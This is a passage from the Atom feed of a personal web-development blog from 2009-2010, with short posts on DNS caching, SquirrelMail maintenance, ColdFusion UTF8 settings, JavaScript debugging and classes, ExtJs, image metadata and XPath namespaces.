&lt;li&gt;I was doing something that was supposed to be OOP, but I never used heritage,
so all my classes were containing the same methods, copied and pasted from one
file to another, and changing only some variable names...&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And some other mistakes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I included a whole bunch of Javascript files (like 15 or so) and was NOT using
any js framework. Well, technically I was using a js framework, but one I
developped. And let be honest, I can&#39;t really call it a framework today.&lt;/li&gt;
&lt;li&gt;I used &lt;code&gt;letter-spacing:-1000em&lt;/code&gt; to hide text (when using an image as a header
for example). It broke on Firefox, I&#39;m now using &lt;code&gt;text-indent:-1000em;&lt;/code&gt;
(really, I don&#39;t know if this is better).&lt;/li&gt;
&lt;li&gt;There was a flash animation with sound, enabled by default and with auto-play.
For my defense, I remember having told by ex boss that it was a bad idea but
he insisted.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To be honest a part of me is horrified of what I wrote some years ago and
thought was great. On the other hand, I&#39;m quite proud of the progress I have
made in so little time.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>DNS caching and flushing</title>
    <link href="https://blog.pixelastic.com/2010/02/09/dns-caching-flushing/"/>
    <updated>2010-02-09T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/02/09/dns-caching-flushing</id>
    <content type="html">&lt;p&gt;Yesterday I moved this domain from one server to another on my Dreamhost account
(actually, I moved the whole domain from one Dreamhost account to another, but
that&#39;s the same).&lt;/p&gt;
&lt;p&gt;The DNS saved at the registrar where the same (&lt;code&gt;ns1.dreamhost.com&lt;/code&gt;,
&lt;code&gt;ns2.dreamhost.com&lt;/code&gt; and &lt;code&gt;ns3.dreamhost.com&lt;/code&gt;). The transfer went seamlessly and I
was able to access my website on the new server in an invisible way.&lt;/p&gt;
&lt;p&gt;But, strangely, some hours laters I started to experience slow down when
accessing the website and finaly all my requests timed out, be it either from
Firefox or a direct ping.&lt;/p&gt;
&lt;p&gt;I tried with my windows xp and my Ubuntu 8.04. I even change the DNS on xp to
use opendns, run an &lt;code&gt;ipconfig /flushdns&lt;/code&gt;, rebooted. On Ubuntu I&#39;ve done a
&lt;code&gt;/etc/init.d/dns-clean start&lt;/code&gt;. I even rebooted my adsl box, thinking there was
something wrong with the DNS cache on my side.&lt;/p&gt;
&lt;p&gt;I even contacted both Dreamhost and Gandi with a complete traceroute to know if
they could help me, as I thought having done everything that I could think of to
resolve the issue. They assure me that their configuration was fine and the
problem wasn&#39;t on their side.&lt;/p&gt;
&lt;p&gt;When asking friends, or testing with
&lt;a href=&quot;http://downforeveryoneorjustme.com/&quot;&gt;http://downforeveryoneorjustme.com/&lt;/a&gt; it
occured that the problem really was on my side.&lt;/p&gt;
&lt;p&gt;Everyone were true. The problem lied somewhere in between, in the DNS cache hold
by my ISP that wasn&#39;t correctly up to date. I don&#39;t really understand how that
could happen, I thought rebooting my Freebox would clear its cache, and
specifying dns addresses of opendns would bypass the dns resolve of my ISP but
it seems not to be the case.&lt;/p&gt;
&lt;p&gt;Anyway, after waiting for some more hours, my website was again reachable
through &lt;code&gt;ssh&lt;/code&gt; and &lt;code&gt;ftp&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;So, if you&#39;re sure your dns configuration is correct both on your register and
on your hosting service, make sure to clear every DNS cache you can have on your
own side. That include windows inner dns cache, those of your browser, those of
your router, and those of your specified preferred DNS resolving server.&lt;/p&gt;
&lt;p&gt;If all that failed, it should be caching issue with your ISP, and there is
nothing you can do about that, except waiting.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>What would we be studying if our world was a software?</title>
    <link href="https://blog.pixelastic.com/2010/02/04/what-would-we-be-studying-if-our-world-was-a-software/"/>
    <updated>2010-02-04T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/02/04/what-would-we-be-studying-if-our-world-was-a-software</id>
    <content type="html">&lt;blockquote&gt;
&lt;p&gt;Physics is just reverse-engineering the world&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I once heard or read that somewhere and that make me smile.&lt;/p&gt;
&lt;p&gt;Today I wondered if the same analogy could be applied to the other subjects we
are teached in school.&lt;/p&gt;
&lt;p&gt;If Physics is reverse-engineering, then Mathematics is using the World framework
and developping new applications and unit testing with it.&lt;/p&gt;
&lt;p&gt;Biology would be micro-debugging and desassambling it, maybe even re-compiling
it.&lt;/p&gt;
&lt;p&gt;History would be nothing more than writing and parsing the logs.&lt;/p&gt;
&lt;p&gt;Geography would be mapping the whole network.&lt;/p&gt;
&lt;p&gt;French (or English, or whatever your first language is) would be reading and
learning the doc and man pages. And of course, foreign languages would mean
learning new programming languages.&lt;/p&gt;
&lt;p&gt;Sports would be the fun part, where you are playing you video games.&lt;/p&gt;
&lt;p&gt;Did I forgot something?&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Debugging a Squirrel webmail</title>
    <link href="https://blog.pixelastic.com/2010/02/03/debugging-a-squirrel-webmail/"/>
    <updated>2010-02-03T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/02/03/debugging-a-squirrel-webmail</id>
    <content type="html">&lt;p&gt;This is a quick blogpost, essentially as a reminder for myself:&lt;/p&gt;
&lt;p&gt;A client of mine is using the Squirrel mail webmail. Once in a while, I have a
call from him telling me that he can&#39;t access its account. The cause is always
the same: there is way too much mails saved in his account and Squirrel mail
choke on this, refusing to display the page.&lt;/p&gt;
&lt;p&gt;The solution is simple, I just have to remove all the mails (except maybe the
100 or so last ones) and save them in a another directory, for archiving. The
directory to save is &lt;code&gt;/home/mailusers/c/contact/cur&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;But, thinking I was clever, instead of copying all the files to a new
&lt;code&gt;cur- save-2009&lt;/code&gt; directory I thought it would be faster to rename the current
directory to &lt;code&gt;cur-save-2009&lt;/code&gt; and create a new empty &lt;code&gt;cur&lt;/code&gt; dir. Except that I
forgot that I was loggued in as &lt;code&gt;root&lt;/code&gt; and the directory must have a user/group
set as &lt;code&gt;postfix&lt;/code&gt;...&lt;/p&gt;
&lt;p&gt;That&#39;s it, I just had to not forgot to set the owner/group of the &lt;code&gt;cur/&lt;/code&gt;
directory as postfix once cleared.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Database in UTF8 with Coldfusion</title>
    <link href="https://blog.pixelastic.com/2010/01/27/database-in-utf8-with-coldfusion/"/>
    <updated>2010-01-27T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/01/27/database-in-utf8-with-coldfusion</id>
    <content type="html">&lt;p&gt;When setting up a Coldfusion application, do not forget to add to your
datasource the following connection string:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;characterEncoding=UTF8&amp;#x26;characterSetResults=UTF8&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It will ensure that your data is correctly saved and fetched using UTF8. This is
the coldfusion equivalent of the more commonly known &lt;code&gt;SET NAMES &#39;utf8&#39;;&lt;/code&gt;&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Never use alert() for debugging</title>
    <link href="https://blog.pixelastic.com/2010/01/20/nevre-use-alert-for-debugging/"/>
    <updated>2010-01-20T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/01/20/nevre-use-alert-for-debugging</id>
    <content type="html">&lt;p&gt;One thing I learned today is to never use alert() for debugging pruposes. When
the javascript alert() function is called it blocks every other action until the
OK button is pressed. It means that your javascript code that is immediatly
after the alert() call is delayed until you press OK.&lt;/p&gt;
&lt;p&gt;It also means that the thread your browser gave to the javascript engine is
halted during all this time.&lt;/p&gt;
&lt;p&gt;Imagine you are binding keyboard shortcuts on your website to specific actions.
Like pressing Ctrl+S will submit the current form. Of course, Ctrl+S is already
defined as a shortcut in the browser, so you will take care of preventing the
default behavior in your custom function (using return false,
e.preventDefault(), e.stopPropagation() or any method defined in your framework
to do that)&lt;/p&gt;
&lt;p&gt;The problem is that is you call alert() in your function, the Javascript thread
will be halted before you can make the call to stop the propagation and thus,
the browser will take control again and firing its default shortcut.&lt;/p&gt;
&lt;p&gt;So my advice is that you should never use alert for debugging. Use the
console.debug() method shipped in firebur or directly write to the DOM but do
not use alert().&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Writing a class in Javascript</title>
    <link href="https://blog.pixelastic.com/2010/01/18/writing-a-class-in-javascript/"/>
    <updated>2010-01-18T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/01/18/writing-a-class-in-javascript</id>
    <content type="html">&lt;p&gt;I always have to refer to a manual or a webpage to remember the correct syntax
for creating a new class in Javascript. Here it is:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;myClass&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;    // Here I can define private variables and methods&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;    var&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; myPrivateVar&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;foo&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;    var&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; myPrivateMethod&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;    // And now I will return an object, so it is the place&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;    // to put public variables and methods&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;        publicVariable: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;bar&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;        publicMethod&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// Note that this function is executed and so the object is returned.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <title>Learning extJs</title>
    <link href="https://blog.pixelastic.com/2010/01/15/learning-extjs/"/>
    <updated>2010-01-15T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/01/15/learning-extjs</id>
    <content type="html">&lt;p&gt;Today, the &lt;a href=&quot;http://jquery14.com/day-01/jquery-14&quot;&gt;jquery 1.4&lt;/a&gt; version was
released, and today is the day where I start to learn extJs (don&#39;t ask me why).&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.extjs.com/&quot;&gt;EXTJs&lt;/a&gt; seems to be promising, it seems really easy to
make powerful and professional-looking interfaces for handling data with it.&lt;/p&gt;
&lt;p&gt;When learning Coldfusion I was often horrified by the [really poor html example
code](http://help.adobe.com/en_US/ColdFusion/9.0/CFMLRef/WSc3ff6d0ea77
859461172e0811cbec22c24-79f9.html) shipped with the Coldfusion example: &lt;font&gt;,
&lt;span align=&quot;left&quot;&gt;, multiple nested tables.&lt;/p&gt;
&lt;p&gt;With EXTJs, it seems to be the same, the
&lt;a href=&quot;http://www.extjs.com/learn/Tutorial:Basic_Page_Setup&quot;&gt;basic page setup&lt;/a&gt; tell me
not to put a Doctype to my page to &amp;quot;avoid IE problems&amp;quot;, as well as putting my
javascript in the head of the page...&lt;/p&gt;
&lt;p&gt;That is simply horrible advices. I hope the rest of the framewok is not of the
same kind or learning it will be painful.&lt;/p&gt;
&lt;p&gt;One thing that is quite frustrating with their documentation is that it is
absolutly not up to date. It is refering to 1.0 or 2.0 version even if the
current one is 3.0.&lt;/p&gt;
&lt;p&gt;I resort to reading the &amp;quot;Learning EXTJs&amp;quot; book (if you know how to properly use
google, you should find a full PDF online). It told me a lot of things about the
approach of the framework, I sincerely recommend that you read it if you want to
learn ExtJs. Too bad the book was released before the 3.0 version, but by
refering to the API whenever you need to use a new class, you should be ok&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>A little introduction to image metadata</title>
    <link href="https://blog.pixelastic.com/2010/01/14/a-little-introduction-to-image-metadata/"/>
    <updated>2010-01-14T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/01/14/a-little-introduction-to-image-metadata</id>
    <content type="html">&lt;p&gt;For the project I&#39;m working on, I have to save numerous[ ](http://en.wikipedia
.org/wiki/International_Press_Telecommunications_Council)data in image files.
The &lt;a href=&quot;http://en.wikipedia.org/wiki/Metadata&quot;&gt;metadata&lt;/a&gt; I have to write can be in
different languages and uses different encoding (mainly French, English, Spanish
and Chinese).&lt;/p&gt;
&lt;h2&gt;A little history&lt;/h2&gt;
&lt;p&gt;There is mainly three formats to store data inside an image. The main one is
called &lt;a href=&quot;http://en.wikipedia.org/wiki/Exif&quot;&gt;EXIF&lt;/a&gt;, its main goal is to store
techical data about the image like the operture, is the flash was fired, the
resolution, the iso settings and so on.&lt;/p&gt;
&lt;p&gt;The second one is called
&lt;a href=&quot;http://en.wikipedia.org/wiki/IPTC_Information_Interchange_Model&quot;&gt;IPTC&lt;/a&gt;. Its
main goal was to store more subjective information about the file like its
description, its author, copyright informations, etc.&lt;/p&gt;
&lt;p&gt;IPTC is an old standard and is more or less replaced with
&lt;a href=&quot;http://en.wikipedia.org/wiki/Extensible_Metadata_Platform&quot;&gt;XMP&lt;/a&gt; nowadays
becuase of numerous restrictions on it (mainly no UTF8 and internationalisation
support). (A later version named IPTC-IIM was created to correct some of the
minor restrictions, but it was still far from perfect).&lt;/p&gt;
&lt;p&gt;It is now more or less replaced with XMP. XMP is based on XML and uses the
Dublin Core tags. It is the future of metadatas because its structure allows it
to be extended.&lt;/p&gt;
&lt;h2&gt;And now, the problems&lt;/h2&gt;
&lt;p&gt;The problem is that with this three formats, it is quite difficult to know where
to store or read the information we want. Additionnaly the XMP support is not
very mainstrean on the software, even Adobe (creator of the XMP format) does not
support it totally accross its products.&lt;/p&gt;
&lt;p&gt;A &lt;a href=&quot;http://www.metadataworkinggroup.org/&quot;&gt;Metadata Working Group&lt;/a&gt; had been formed
to tell all the good people of Metadata-land what to do when faced with an image
filled with metadatas. They wrote a recommendation guide telling us how to
handle reconciliation (a same information is stored in more than one format, but
with different values) and make our software the most compatible with existing
software.&lt;/p&gt;
&lt;h2&gt;What about me?&lt;/h2&gt;
&lt;p&gt;That&#39;s when I can talk about me again. I&#39;m working on a project where I have to
read a full database of images, parse their metadatas, store them in a database,
and build an interface to search accross the database based on criterias like
keywords, author, etc.&lt;/p&gt;
&lt;p&gt;I also have to handle the web side of this and allow for easy creation of
thumbnails, large and medium version with metadatas correctly written inside the
file.&lt;/p&gt;
&lt;p&gt;The admin panel should also allow anyone to modify one file metadata and rewrite
it back into the file as well as inside the database.&lt;/p&gt;
&lt;p&gt;This is kind of a big project for me, it&#39;s been 2.5 months that I&#39;m on it and I
had to learn everything from scrath: all the historical stuff, format specs,
recommendation as well as Coldfusion -the language the app is built on-&lt;/p&gt;
&lt;p&gt;I&#39;ve learn a lot until now and I still have 15 more days to finish it. The main
app is almost finished (I just have to polish on some edge cases) and then I&#39;ll
have to integrate it in the existing admin panel.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Selecting node based on namespace in xPath</title>
    <link href="https://blog.pixelastic.com/2010/01/11/selecting-node-based-on-namespace-in-xpath/"/>
    <updated>2010-01-11T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/01/11/selecting-node-based-on-namespace-in-xpath</id>
    <content type="html">&lt;p&gt;I&#39;m used to XPath, I use it in my Javascript dev (jQuery) has well as in my
cakePHP dev (the Set::extract() method), and I&#39;ve always thought it was really
fast, powerful and readable.&lt;/p&gt;
&lt;p&gt;Today I had to parse a real-world XML file, and I discovered that when dealing
with namespaces, all became suddenly much more difficult in the XPath world.&lt;/p&gt;
&lt;p&gt;Here is my xml source (shortened for the sake of clarity):&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-xml&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&amp;#x3C;?&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;xpacket&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; begin&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;﻿&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; id&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;W5M0MpCehiHzreSzNTczkc9d&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;?&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;x:xmpmeta&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; xmlns:x&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;adobe:ns:meta/&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;rdf:RDF&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; xmlns:rdf&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;rdf:Description&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; rdf:about&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; xmlns:dc&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;http://purl.org/dc/elements/1.1/&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;dc:creator&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&gt;Igor Gosstroff&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;dc:creator&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;dc:description&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; xml:lang&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;x-default&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&gt;Awesome picture&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;dc:description&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;rdf:Description&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;rdf:Description&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; rdf:about&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; xmlns:xmp&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;http://ns.adobe.com/xap/1.0/&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;xmp:Rating&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&gt;4&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;xmp:Rating&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;rdf:Description&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;rdf:RDF&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;x:xmpmeta&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&gt;                                            &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&amp;#x3C;?&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;xpacket&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; end&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;w&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;?&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I wanted to select the first &lt;code&gt;&amp;lt;rdf:Description&amp;gt;&lt;/code&gt; (Dublin Core).&lt;/p&gt;
&lt;p&gt;First of all, you have to know that you can&#39;t do //rdf:description, you have to
use a special syntax because the: is a reserved character. The solution is using
the name() method: //*[name()=&#39;rdf:Description&#39;].&lt;/p&gt;
&lt;p&gt;It will return both rdf:Description nodes. I can easily get the one i&#39;m
interested in by doing //*[name()=&#39;rdf:Description&#39;][1] but I would have liked
to use a much more simple syntax and select the one with an xmlns:dc attribute.&lt;/p&gt;
&lt;p&gt;And I did not find out how to do that. All the syntaxes I tried either returned
nothing, threw and exception and even crash my app once.&lt;/p&gt;
&lt;p&gt;I finally found a devious way to find it. I search for any xmlField whose
namespace uri was http://purl.org/dc/elements/1.1/ and then get its parent. I
still feel like its a dirty hack but I&#39;ve allready spent too much time on it, so
it will be enough for now.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-xml&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;//*[namespace-uri()=&#39;http://purl.org/dc/elements/1.1/&#39;][1]/../&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <title>Safari input focusing problem</title>
    <link href="https://blog.pixelastic.com/2010/01/10/safari-input-focusing-problem/"/>
    <updated>2010-01-10T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/01/10/safari-input-focusing-problem</id>
    <content type="html">&lt;p&gt;I just ran into a strange behavior on Safari 3 (Win). I&#39;m not quite sure what
caused this problem, but I tracked it down to one CSS rule.&lt;/p&gt;
&lt;p&gt;The thing was that I had an input field that moved whenever I tried to focus it.
It jump 3 pixels up whenever I gave him focus. I had never seen that before.&lt;/p&gt;
&lt;p&gt;I finally managed to track it down to the padding:2px 0px 5px 0px; declaration.
I exploded it in four (-top, -right, -bottom and -left) and it seemed that it
was the padding-bottom:0px that cause the bug.&lt;/p&gt;
&lt;p&gt;I finally rewrote my css (in three lines instead of one) and moved to other
things.&lt;/p&gt;
&lt;p&gt;I post it here as a reminder, and hope it could help someone.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Freelancing, I miss you</title>
    <link href="https://blog.pixelastic.com/2009/12/16/freelancing-i-miss-you/"/>
    <updated>2009-12-16T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2009/12/16/freelancing-i-miss-you</id>
    <content type="html">&lt;p&gt;Well, it&#39;s been one month and a half now that I&#39;ve put my freelance activites on
hold. I&#39;m in contract with a big company to develop an internal application.&lt;/p&gt;
&lt;p&gt;The purpose of the application is really interesting, the guy I&#39;m working with
is too, but the language I have to use as well as the all-administrative thing
of big companies like that is... well... let&#39;s just say I LOVE being a
freelancer PHP developper.&lt;/p&gt;
&lt;p&gt;One more month and a half and it will be over. I allready have learn a lot about
metadatas in general and particularly Exif, Iptc and XMP. I&#39;ve also learned a
little about Coldfusion. Enough to know that I won&#39;t work with that language
again, unless I&#39;m forced too.&lt;/p&gt;
&lt;p&gt;In the remaining week, I&#39;ll also learn EXTJs, and this part seems promising. I
guess leaving jQuery and its easy syntax will be hard at first, but all the data
handling of EXTJs seems really powerful.&lt;/p&gt;
